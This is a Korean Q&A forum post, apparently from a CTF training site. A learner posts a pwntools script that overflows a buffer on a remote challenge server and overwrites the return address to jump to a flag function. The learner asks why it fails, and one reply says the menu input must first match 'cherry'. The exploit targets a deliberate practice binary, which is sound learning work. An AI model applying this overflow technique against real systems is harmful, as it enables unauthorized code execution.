코드에서 잘못된 것이 뭔지 모르겠습니다

from pwn import *

p = remote('host3.dreamhack.games', 11109)
context.log_level = 'debug'
#ret : 0x4013c2
#flag : 0x4012bc

a = b'a' * 6
p.sendlineafter(b'Menu: ', a)

b = a + b'a' * 2 + int.to_bytes(0x4012bc, 8, 'little')
p.sendlineafter(b'Is it cherry?: ', b)
p.interactive()

코드를 짜보았는데... 어디가 문제인지 잘 모르겠습니다..
가르쳐주세요ㅠㅠ

#pwnable
작성자 정보
답변 1

우선 strncmp 함수를 이용하여 입력한 메뉴(Menu)가 cherry인지를 검사하는 것이 선행되기 때문에, 해당 부분에 맞는 입력을 전달해주어야 할 것으로 보입니다! 😊

2023.11.29. 13:02
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기